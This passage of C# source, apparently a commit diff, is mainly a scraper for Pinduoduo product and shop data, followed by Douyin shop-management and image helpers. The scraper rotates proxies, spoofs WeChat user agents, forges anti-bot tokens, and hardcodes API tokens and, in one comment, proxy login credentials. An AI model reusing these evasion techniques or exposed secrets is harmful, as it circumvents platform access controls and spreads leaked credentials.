request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3";
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9");
request.Headers.Set(HttpRequestHeader.Cookie, Token);
//Get response to request.
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException e)
{
//ProtocolError indicates a valid HTTP response, but with a non-200 status code (e.g. 304 Not Modified, 404 Not Found)
if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response;
else return "";
}
catch (Exception)
{
if (response != null) response.Close();
return "";
}
return ReadResponse(response);
}
/// <summary>
/// 获取宝贝数量
/// </summary>
/// <param name="response">After the function has finished, will possibly contain the response to the request.</param>
/// <returns>True if the request was successful; false otherwise.</returns>
public static string RequestShopCount(string url, string Token)
{
HttpWebResponse response = null;
try
{
//Create request to URL.
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://yangkeduo.com/proxy/api/api/turing/mall/query_mall_category_list?pdduid=2423695749878&mall_id=" + url);
//Set request headers.
request.KeepAlive = true;
request.Accept = "application/json, text/plain, */*";
request.Headers.Add("AccessToken", Token);
request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36";
request.Headers.Add("VerifyAuthToken", @"kUo_K6VOliEhlNZNorECKQ");
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9");
//Get response to request.
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException e)
{
//ProtocolError indicates a valid HTTP response, but with a non-200 status code (e.g. 304 Not Modified, 404 Not Found)
if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response;
else return "";
}
catch (Exception)
{
if (response != null) response.Close();
return "";
}
return ReadResponse(response);
}
/// <summary>
/// Tries to request the URL: http://api.yangkeduo.com/mall/412236912/info
/// </summary>
/// <param name="response">After the function has finished, will possibly contain the response to the request.</param>
/// <returns>True if the request was successful; false otherwise.</returns>
public static string Request_api_yangkeduo_com(string url, string Token)
{
HttpWebResponse response = null;
try
{
//Create request to URL.
string requestUrl = "http://api.yangkeduo.com/mall/" + url + "/info";
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(requestUrl);
//Set request headers.
request.Referer = "Android";
request.ContentType = "application/json;charset=UTF-8";
request.Headers.Add("AccessToken", Token);
request.UserAgent = "android Mozilla/5.0 (Linux; Android 5.1.1; m1 metal Build/LMY49I; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.100 Safari/537.36 phh_android_version/4.17.1 phh_android_build/1a7ec8b149 phh_android_channel/gw";
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip");
//Get response to request.
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException e)
{
//ProtocolError indicates a valid HTTP response, but with a non-200 status code (e.g. 304 Not Modified, 404 Not Found)
if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response;
else return "";
}
catch (Exception)
{
if (response != null) response.Close();
return "";
}
return ReadResponse(response);
}
public static string Request_api_yangkeduo_Ip(string url, string[] UserAgentList)
{
string result = "";
try
{
string requestUrl = url;
HttpParam httpParam = new HttpParam();
httpParam.Url = requestUrl;
httpParam.Referer = url;
string UserAgentTemp = UserAgentList[new Random().Next(UserAgentList.Count())];
if (!string.IsNullOrEmpty(UserAgentTemp) && !UserAgentTemp.Contains("MicroMessenger"))
{
UserAgentTemp = UserAgentTemp.Insert(new Random().Next(UserAgentTemp.Length), "MicroMessenger" + Guid.NewGuid().ToString().Replace("-", "").Substring(0, new Random().Next(5)));
}
httpParam.UserAgent = UserAgentTemp;
httpParam.TryTimes = 60;
httpParam.ProxySleep = 500;
if (url.Contains("mall_page.html"))
{
result = GlobalProxyHelper.Request(httpParam, (response) => !string.IsNullOrEmpty(response) && !response.Contains("<title>店铺主页</title>"));
if (result.Contains(("<title>店铺主页</title>")))
{
Thread.Sleep(10000);
httpParam.TryTimes = 60;
httpParam.Timeout = 10000;
result = GlobalProxyHelper.Request(httpParam, (response) => !string.IsNullOrEmpty(response) && !response.Contains("<title>店铺主页</title>"));
}
}
else
{
result = GlobalProxyHelper.Request(httpParam, (response) => !string.IsNullOrEmpty(response) && !response.Contains("error_code"));
if (result.Contains(("error_code")))
{
Thread.Sleep(10000);
httpParam.TryTimes = 60;
result = GlobalProxyHelper.Request(httpParam, (response) => !string.IsNullOrEmpty(response) && !response.Contains("error_code"));
}
}
}
catch (Exception ex)
{
return "";
}
return result;
}
public static List<string> listIp = new List<string>();
private static readonly object obj = new object();
private static int UseCount = 0;
public static string Request_yangkeduo_com(string sIpAndPort, long lProdId, string[] UserAgentList, out bool IsOverdue, bool IsBreak = false)
{
IsOverdue = false;
try
{
if (IsBreak)
{
return "";
}
if (UseCount >= 150 && listIp.Count > 0)//代理ip 使用超过150次 才去请求一次ip
{
listIp.Clear();
}
lock (obj)
{
//Thread.Sleep(3000);
if (listIp.Count() <= 0)
{
//Thread.Sleep(1000);
listIp = InitIp(sIpAndPort, out IsOverdue);
UseCount = 0;
}
}
if (IsOverdue)
{
return "";
}
string ProxyIP = listIp[new Random().Next(0, listIp.Count)];
UseCount++;
//listIp.Remove(listIp[0]);
HttpWebResponse response = null;
try
{
string UserAgentTemp = UserAgentList[new Random().Next(UserAgentList.Count())];
if (!string.IsNullOrEmpty(UserAgentTemp) && !UserAgentTemp.Contains("MicroMessenger"))
{
UserAgentTemp = UserAgentTemp.Insert(new Random().Next(UserAgentTemp.Length), "MicroMessenger" + Guid.NewGuid().ToString().Replace("-", "").Substring(0, new Random().Next(5)));
}
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://mobile.yangkeduo.com/goods.html?goods_id=" + lProdId);
request.Timeout = 5000;
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9,en;q=0.8");
request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
request.UserAgent = UserAgentTemp;
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "deflate");
System.Net.WebProxy proxy = GetWebProxy(ProxyIP);
request.Proxy = proxy;
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException e)
{
Thread.Sleep(3000);
LogHelper.Write(e.Message);
}
catch (Exception)
{
}
if (response != null)
{
string result = ReadResponse(response);
if (result.Contains("mallID"))
{
//GlobalProxyHelper.CloseIp(listIp);//找到了 把当前获取到的ip关闭
return HtmlHelper.UnicodeDecode(result);
}
}
return "";
}
catch (Exception ex)
{
return "";
}
}
public static string RequestUrl_yangkeduo_com(long lProdId, string[] UserAgentList, string orderId, out bool IsOverdue)
{
IsOverdue = false;
int count = 0;
try
{
Again:
count++;
HttpWebResponse response = null;
try
{
string UserAgentTemp = UserAgentList[new Random().Next(UserAgentList.Count())];
if (!string.IsNullOrEmpty(UserAgentTemp) && !UserAgentTemp.Contains("MicroMessenger"))
{
UserAgentTemp = UserAgentTemp.Insert(new Random().Next(UserAgentTemp.Length), "MicroMessenger" + Guid.NewGuid().ToString().Replace("-", "").Substring(0, new Random().Next(5)));
}
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://goods.66daili.cn/api/goods/get/?orderid=" + orderId + "&token=5AF433ED506FA475&goodID=" + lProdId);
request.Timeout = 5000;
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9,en;q=0.8");
request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
request.UserAgent = UserAgentTemp;
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "deflate");
response = (HttpWebResponse)request.GetResponse();
}
catch (Exception ex)
{
Thread.Sleep(1000);
LogHelper.Write(ex.Message);
}
if (response != null)
{
string result = ReadResponse(response);
if (result.Contains("order expire or not exist"))
{
IsOverdue = true;
return "";
}
if (result.Contains("mall_id") || result.Contains("mallId") || result.Contains("mallID"))
{
return HtmlHelper.UnicodeDecode(result);
}
else
{
if (count < 10)
{
Thread.Sleep(new Random().Next(50, 200));
goto Again;
}
}
}
else
{
if (count < 10)
{
Thread.Sleep(new Random().Next(50, 200));
goto Again;
}
}
return "";
}
catch (Exception ex)
{
return "";
}
}
public static string MakeRequestForGetPddProdDetailByWeixin(string sIpAndPort, long lProdId)
{
while (true)
{
bool IsOverdue = false;
List<string> listIp = InitIp(sIpAndPort, out IsOverdue);
//if(listIp!=null&&listIp.Count>0)
for (int i = 0; i < listIp.Count; i++)
{
HttpWebResponse response = null;
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://wxapp.yangkeduo.com/compose/vtx/goods/detail/first/v3?pdduid=4014246301&xcx=20161201&xcx_version=v5.7.6.1&xcx_hash=" + GetTimeStampMilliSec() + GetRandomString(16));
request.KeepAlive = true;
request.Headers.Set(HttpRequestHeader.CacheControl, "no-cache");
request.Headers.Add("GZToken", Guid.NewGuid().ToString().Replace("-", "").Substring(0, 32));
//request.Headers.Add("GZToken", @"8dc2715af33d80577efe1cccd945fd38");
request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat";
request.ContentType = "application/json;charset=UTF-8";
request.Referer = "https://servicewechat.com/wx32540bd863b27570/1116/page-frame.html";
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br");
System.Net.WebProxy proxy = GetWebProxy(listIp[i]);
request.Proxy = proxy;
request.Method = "POST";
request.ServicePoint.Expect100Continue = false;
string body = @"{""goods_id"":""" + lProdId + @""",""from"":""24"",""has_rec"":true,""address_list"":[{""address_id"":""19159230174"",""province_id"":""3"",""city_id"":""3401"",""district_id"":""4124"",""is_default"":""1"",""is_top"":0}],""page_version"":7,""show_type"":1,""xcx_trace_id"":""" + GetRandrom(16) + @""",""client_time"":" + GetTimeStampMilliSec() + @",""anti_content"":""3aje" + GetRandomString(122) + @""",""xcx_version"":""v5.7.6.1""}";
//string body = @"{""goods_id"":""" + lProdId + @""",""from"":""24"",""has_rec"":true,""address_list"":[{""address_id"":""19159230174"",""province_id"":""3"",""city_id"":""3401"",""district_id"":""4124"",""is_default"":""1"",""is_top"":0}],""page_version"":7,""show_type"":1,""xcx_trace_id"":""4277241276553842"",""client_time"":" + GetTimeStampMilliSec() + @",""anti_content"":""3ajeJxjZGRgYAhjYGJMBOIkIE4G4hQgTmVQZEyTMzEwMDAzsDCxMLYwNDY2MdU1NLU0MDW1NDUyNjM2ZeBiTGdnYCwK2WOnxMDKmMEENIyZMZMByM5iYmAEADpcDLo"",""xcx_version"":""v5.7.6.1""}";
byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body);
request.ContentLength = postBytes.Length;
Stream stream = request.GetRequestStream();
stream.Write(postBytes, 0, postBytes.Length);
stream.Close();
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException e)
{
//return "";
}
catch (Exception)
{
//return "";
}
if (response == null) continue;
string result = ReadResponse(response);
if (result.Contains("\"success\":true"))
{
//GlobalProxyHelper.CloseIp(listIp);//找到了 把当前获取到的ip关闭
return result;
}
else
{
}
Thread.Sleep(500);
}
GlobalProxyHelper.CloseIp(listIp);//没找到也关闭
Thread.Sleep(3000);
}
}
/// <summary>
/// 整店采集
/// </summary>
/// <param name="sIpAndPort"></param>
/// <param name="lProdId"></param>
/// <param name="UserAgent"></param>
/// <returns></returns>
public static string RequestAllShopList(string sIpAndPort, string url, Func<string, string> antiContentFunc, string UserAgent)
{
while (true)
{
bool IsOverdue = false;
List<string> listIp = InitIp(sIpAndPort, out IsOverdue);
string NewUrl = "";
for (int i = 0; i < listIp.Count; i++)
{
HttpWebResponse response = null;
try
{
NewUrl = url + "&anticontent=" + antiContentFunc(UserAgent);
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(NewUrl);
request.KeepAlive = true;
request.Accept = "application/json, text/plain, */*";
request.UserAgent = UserAgent;
//request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 QBCore/4.0.1301.400 QQBrowser/9.0.2524.400 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2875.116 Safari/537.36 NetType/WIFI MicroMessenger/7.0.5 WindowsWechat";
request.Referer = "https://mobile.yangkeduo.com/";
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.5;q=0.4");
System.Net.WebProxy proxy = GetWebProxy(listIp[i]);
request.Proxy = proxy;
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException e)
{
}
catch (Exception ex)
{
}
if (response == null)
{
continue;
}
string result = ReadResponse(response);
if (result.Contains("goods_list"))
{
//GlobalProxyHelper.CloseIp(listIp);//找到了 把当前获取到的ip关闭
return HtmlHelper.UnicodeDecode(result);
}
Thread.Sleep(new Random().Next(500, 1500));
}
GlobalProxyHelper.CloseIp(listIp);//没找到也关闭
Thread.Sleep(3000);
}
}
private static long GetRandrom(int len)
{
Random rand = new Random();
string strNum = "";
int i = 0;
while (i < len)
{
i++;
int randomNum = rand.Next(0, 10);
strNum += randomNum.ToString();
}
return strNum.ParseToLong();
}
public static string Request_weixinKweWords(string sIpAndPort, string keyword, int page)
{
while (true)
{
bool IsOverdue = false;
List<string> listIp = InitIp(sIpAndPort, out IsOverdue);
//if(listIp!=null&&listIp.Count>0)
for (int i = 0; i < listIp.Count; i++)
{
HttpWebResponse response = null;
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://wxapp.yangkeduo.com/compose/vtx/search?pdduid=4014246301&xcx=20161201&xcx_version=v5.7.9&xcx_hash=1590732694274NkDSTBGS61cRPBiD");
request.KeepAlive = true;
request.Headers.Set(HttpRequestHeader.CacheControl, "no-cache");
request.Headers.Add("GZToken", @"7933a2eca48857c7640ce14ff17d4bbb");
request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat";
request.ContentType = "application/json;charset=UTF-8";
request.Referer = "https://servicewechat.com/wx32540bd863b27570/1125/page-frame.html";
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br");
System.Net.WebProxy proxy = GetWebProxy(listIp[i]);
request.Proxy = proxy;
request.Method = "POST";
request.ServicePoint.Expect100Continue = false;
//string body = "{\"\"is_form_wallet\"\":false,\"\"query\"\":\"\"" + keyword + "\"\",\"\"new_search\"\":true,\"\"search\"\":{\"\"page\"\":" + page + ",\"\"size\"\":20,\"\"requery\"\":0,\"\"list_id\"\":\"\"xcx_search_ZN6Xie\"\",\"\"source\"\":\"\"index\"\",\"\"sort\"\":\"\"default\"\"},\"\"anti_content\"\":\"\"3ajeJxjZGRgYAhjYGJMBOIkIE4G4hQgTmVQZEyTMzYzMzU0trAwNzU1NbI0NdU1NLU0MDc2MrM0NTA0Z-BiTGdnYCyK51vMwMDKmMEENIyZMRPEzgKyATcqDHE\"\",\"\"xcx_version\"\":\"\"v5.7.9\"\"}";
string body = @"{""is_form_wallet"":false,""query"":""连衣裙"",""new_search"":true,""search"":{""page"":1,""size"":20,""requery"":0,""list_id"":""xcx_search_ZN6Xie"",""source"":""index"",""sort"":""default""},""anti_content"":""3ajeJxjZGRgYAhjYGJMBOIkIE4G4hQgTmVQZEyTMzYzMzU0trAwNzU1NbI0NdU1NLU0MDc2MrM0NTA0Z-BiTGdnYCyK51vMwMDKmMEENIyZMRPEzgKyATcqDHE"",""xcx_version"":""v5.7.9""}";
byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body);
request.ContentLength = postBytes.Length;
Stream stream = request.GetRequestStream();
stream.Write(postBytes, 0, postBytes.Length);
stream.Close();
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException e)
{
}
catch (Exception)
{
}
string result = ReadResponse(response);
//if (result.Contains("mallID"))
{
GlobalProxyHelper.CloseIp(listIp);//找到了 把当前获取到的ip关闭
return result;
}
Thread.Sleep(500);
}
GlobalProxyHelper.CloseIp(listIp);//没找到也关闭
Thread.Sleep(3000);
}
}
private static char[] constant =
{
'0','1','2','3','4','5','6','7','8','9',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'
};
private static string GetRandomString(int iLength)
{
System.Text.StringBuilder newRandom = new System.Text.StringBuilder(62);
Random rd = new Random();
for (int i = 0; i < iLength; i++)
{
newRandom.Append(constant[rd.Next(62)]);
}
return newRandom.ToString();
}
public static string GetTimeStampMilliSec()
{
TimeSpan ts = DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0, 0);
return Convert.ToInt64(ts.TotalMilliseconds).ToString();
}
public static List<string> InitIp(string ProxyUrl, out bool IsOverdue)
{
IsOverdue = false;
if (listIp.Count > 0)
{
return listIp;
}
HttpParam httpParm = new HttpParam { Url = ProxyUrl };
GlobalProxyHelper.SetAuthorization(httpParm);
string proxyIpHtml = string.Empty;
List<string> proxyIpList = new List<string>();
int tryTimes = 0;
int maxTryTimes = 10;
while (true && tryTimes <= maxTryTimes)
{
proxyIpHtml = HttpHelper.Get(httpParm);
if (proxyIpHtml.Contains("过期") || proxyIpHtml.Contains("套餐不存在"))
{
IsOverdue = true;
break;
}
if (!string.IsNullOrEmpty(proxyIpHtml) && !proxyIpHtml.Contains("后获取") && !proxyIpHtml.Contains("过期") && !proxyIpHtml.Contains("套餐不存在"))
{
proxyIpList = proxyIpHtml.Split(new string[] { "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries).Select(p => p.Trim()).ToList();
break;
}
tryTimes++;
Thread.Sleep(3000);
}
return proxyIpList;
}
public static string RequestTest(string sIpAndPort, string url)
{
while (true)
{
bool IsOverdue = false;
List<string> listIp = InitIp(sIpAndPort, out IsOverdue);
//if(listIp!=null&&listIp.Count>0)
for (int i = 0; i < listIp.Count; i++)
{
HttpWebResponse response = null;
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.KeepAlive = true;
request.Headers.Set(HttpRequestHeader.CacheControl, "max-age=0");
request.Headers.Add("Upgrade-Insecure-Requests", @"1");
request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/82.0.2444.133 Safari/537.36";
request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3";
request.Referer = url;
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9");
System.Net.WebProxy proxy = GetWebProxy(listIp[i]);
request.Proxy = proxy;
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException e)
{
}
catch (Exception)
{
}
string result = ReadResponse(response);
if (!result.Contains("<title>店铺主页</title>"))
{
GlobalProxyHelper.CloseIp(listIp);//找到了 把当前获取到的ip关闭
return result;
}
Thread.Sleep(500);
}
GlobalProxyHelper.CloseIp(listIp);//没找到也关闭
Thread.Sleep(3000);
}
//HttpWebResponse response = null;
//try
//{
// HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
// request.KeepAlive = true;
// request.Headers.Set(HttpRequestHeader.CacheControl, "max-age=0");
// request.Headers.Add("Upgrade-Insecure-Requests", @"1");
// request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36";
// request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3";
// request.Referer = url;
// request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
// request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9");
// System.Net.WebProxy proxy = GetWebProxy("120.79.214.87 11318 test200420-1 gu05VREpn349KSiT");
// request.Proxy = proxy;
// response = (HttpWebResponse)request.GetResponse();
//}
//catch (WebException e)
//{
// //ProtocolError indicates a valid HTTP response, but with a non-200 status code (e.g. 304 Not Modified, 404 Not Found)
// if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response;
// else return "";
//}
//catch (Exception)
//{
// if (response != null) response.Close();
// return "";
//}
//return ReadResponse(response);
}
public static string RequestTestA(string sIpAndPort, string url)
{
while (true)
{
bool IsOverdue = false;
List<string> listIp = InitIp(sIpAndPort, out IsOverdue);
//if(listIp!=null&&listIp.Count>0)
for (int i = 0; i < listIp.Count; i++)
{
HttpWebResponse response = null;
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.KeepAlive = true;
request.Accept = "application/json, text/plain, */*";
request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36";
//request.Headers.Add("VerifyAuthToken", @"ymXDWelTcWGRcf9dQBsVgw");
request.Referer = url;
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9");
response = (HttpWebResponse)request.GetResponse();
System.Net.WebProxy proxy = GetWebProxy(listIp[i]);
request.Proxy = proxy;
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException e)
{
}
catch (Exception)
{
}
string result = ReadResponse(response);
if (!result.Contains("error_code"))
{
GlobalProxyHelper.CloseIp(listIp);//找到了 把当前获取到的ip关闭
return result;
}
Thread.Sleep(500);
}
GlobalProxyHelper.CloseIp(listIp);//没找到也关闭
Thread.Sleep(3000);
}
}
public static WebProxy GetWebProxy(string ip = "")
{
WebProxy webProxy = null;
try
{
if (!string.IsNullOrEmpty(ip))
{
string[] ipArr = ip.Split(new string[] { " ", ":" }, StringSplitOptions.RemoveEmptyEntries);
switch (ipArr.Length)
{
case 2:
webProxy = new WebProxy(ipArr[0], ipArr[1].ParseToInt());
break;
case 4:
webProxy = new WebProxy(ipArr[0], ipArr[1].ParseToInt());
webProxy.Credentials = new NetworkCredential(ipArr[2], ipArr[3]);
break;
}
return webProxy;
}
}
catch (Exception ex)
{
LogHelper.WriteWithTime(ex);
}
return webProxy;
}
#endregion
}
}
+74
View File
@@ -0,0 +1,74 @@
using AllBase.Model.Result;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Work.DouyinApiClass;
namespace Work.BLL.Product
{
public class ShopProductBLL
{
/// <summary>
/// 获取店铺商品列表
/// </summary>
/// <param name="shop">店铺</param>
/// <param name="productStatus">商品是否在售 0在售 1仓库</param>
/// <param name="page">页数 从1开始</param>
/// <param name="pageSize">每页商品数量</param>
/// <param name="update_end_time">最后更新时间</param>
/// <returns></returns>
public string GetShopProductListData(DouShopLoginInfo shop, int productStatus = 0, int page = 1, int pageSize = 50, long update_end_time = 0)
{
// 读取在售商品数量
Dictionary<string, string> dictionary = new Dictionary<string, string>();
dictionary.Add("page", page.ToString());
dictionary.Add("size", pageSize.ToString());
if (update_end_time > 0)
dictionary.Add("update_end_time", update_end_time.ToString());
// check_status 指定审核状态返回商品列表:1未提审 2审核中 3审核通过 4审核驳回 5封禁 7审核通过,待上架状态
if (productStatus == 0)
dictionary["check_status"] = "3";
//else
// dictionary["check_status"] = "1";
dictionary["status"] = productStatus.ToString();
DouyinApi douApi = new DouyinApi(shop);
douApi.JsonData = dictionary;
var resultOnline = douApi.GetProductList();
return resultOnline;
}
public string OnSaleProduct(DouShopLoginInfo shop, string productIds)
{
Dictionary<string, string> dictionary = new Dictionary<string, string>();
dictionary.Add("product_id", productIds);
dictionary.Add("start_sale_type", "0");
dictionary.Add("commit", "true");
DouyinApi douApi = new DouyinApi(shop);
douApi.JsonData = dictionary;
var resultOnline = douApi.GetProductEdit();
return resultOnline;
}
public string OffSaleProduct(DouShopLoginInfo shop, string productIds)
{
Dictionary<string, string> dictionary = new Dictionary<string, string>();
dictionary.Add("product_id", productIds);
DouyinApi douApi = new DouyinApi(shop);
douApi.JsonData = dictionary;
var resultOnline = douApi.SetProductOffline();
return resultOnline;
}
public string DeleteProduct(DouShopLoginInfo shop, string productIds)
{
Dictionary<string, string> dictionary = new Dictionary<string, string>();
dictionary.Add("product_id", productIds);
DouyinApi douApi = new DouyinApi(shop);
douApi.JsonData = dictionary;
var resultOnline = douApi.DeleteProduct();
return resultOnline;
}
}
}
+53
View File
@@ -0,0 +1,53 @@
using AllBase;
using NaiBa.Util.Extension;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work.BLL.Product
{
public class ViolateBLL
{
public static string GetViolate(string upId, long upIdNumber)
{
string address = BaseClass.BuildObjString("violate&act=get");
string param = UserLogin.GetSignaturex()
+ "&pid=" + upId
+ "&suffix=" + upIdNumber % 1024;
string html = GetHtml.PostUtf8(address, param);
if (html == null)
html = "";
var data = BaseRegex.GetStringJson(ref html, "data");
if (data == null)
{
if (html.Contains("\"msg\":\"success\""))
data = "none";
else
data = "";
}
return data;
}
public static string GetViolateList(List<string> upIds)
{
if (upIds == null)
upIds = new List<string>();
string address = BaseClass.BuildObjString("violate&act=get_list");
string param = UserLogin.GetSignaturex() + "&pids=";
foreach (var id in upIds)
{
var idStr = id;
idStr = BaseRegex.GetMatchRegexString(ref idStr, "(\\d{5,30})");
if (idStr == null)
continue;
param += id + "," + (idStr.ParseToLong() % 1024) + ";";
}
string html = GetHtml.PostUtf8(address, param.TrimEnd(';'));
return html;
}
}
}
+298
View File
@@ -0,0 +1,298 @@
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
namespace Work.BLL.Tools
{
public class Base64ChangeImgUrl
{
/// <summary>
/// 将Base64字符串转换为图片
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
public Bitmap ToImage(string imgBase64)
{
imgBase64 = imgBase64.Substring("data:image/jpeg;base64,".Length);
byte[] bytes = Convert.FromBase64String(imgBase64);
MemoryStream ms = new MemoryStream(bytes);
Image mImage = Image.FromStream(ms);
Bitmap bmpt = new Bitmap(ms);
return bmpt;
}
/// <summary>
/// 图片转Base64
/// </summary>
/// <param name="ImageFileName">图片的完整路径</param>
/// <returns></returns>
public static string ImgToBase64(Bitmap bmp)
{
try
{
MemoryStream ms = new MemoryStream();
bmp.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);
byte[] arr = new byte[ms.Length];
ms.Position = 0;
ms.Read(arr, 0, (int)ms.Length);
ms.Close();
return Convert.ToBase64String(arr);
}
catch (Exception)
{
return null;
}
}
public string CutZoom(string Base64pic)
{
byte[] arr2 = Convert.FromBase64String(Base64pic);
Bitmap bmp3 = null;
using (MemoryStream ms2 = new MemoryStream(arr2))
{
Bitmap bmp2 = new System.Drawing.Bitmap(ms2);
bmp3 = GetThumbnail(bmp2, 130, 270);
}
return ImgToBase64(bmp3);
}
/// <summary>
/// 图片转为二进制
/// </summary>
/// <param name="Bitmap"></param>
/// <returns></returns>
public byte[] GetPictureData(Bitmap Bitmap)
{
MemoryStream ms = null;
try
{
ms = new MemoryStream();
Bitmap.Save(ms, Bitmap.RawFormat);
byte[] byteImage = new Byte[ms.Length];
byteImage = ms.ToArray();
return byteImage;
}
catch (ArgumentNullException ex)
{
throw ex;
}
finally
{
ms.Close();
}
}
public byte[] Base64ChangeBuffer(String imgBase64)
{
try
{
if (!string.IsNullOrEmpty(imgBase64))
{
return GetPictureData(ToImage(imgBase64));
}
return null;
}
catch
{
return null;
}
}
public static Bitmap GetThumbnail(Bitmap b, int destHeight, int destWidth)
{
System.Drawing.Image imgSource = b;
System.Drawing.Imaging.ImageFormat thisFormat = imgSource.RawFormat;
int sW = 0, sH = 0;
// 按比例缩放
int sWidth = imgSource.Width;
int sHeight = imgSource.Height;
if (sHeight > destHeight || sWidth > destWidth)
{
if ((sWidth * destHeight) > (sHeight * destWidth))
{
sW = destWidth;
sH = (destWidth * sHeight) / sWidth;
}
else
{
sH = destHeight;
sW = (sWidth * destHeight) / sHeight;
}
}
else
{
sW = sWidth;
sH = sHeight;
}
Bitmap outBmp = new Bitmap(destWidth, destHeight);
Graphics g = Graphics.FromImage(outBmp);
g.Clear(Color.Transparent);
// 设置画布的描绘质量
g.CompositingQuality = CompositingQuality.HighQuality;
g.SmoothingMode = SmoothingMode.HighQuality;
g.InterpolationMode = InterpolationMode.HighQualityBicubic;
g.DrawImage(imgSource, new Rectangle((destWidth - sW) / 2, (destHeight - sH) / 2, sW, sH), 0, 0, imgSource.Width, imgSource.Height, GraphicsUnit.Pixel);
g.Dispose();
// 以下代码为保存图片时,设置压缩质量
EncoderParameters encoderParams = new EncoderParameters();
long[] quality = new long[1];
quality[0] = 100;
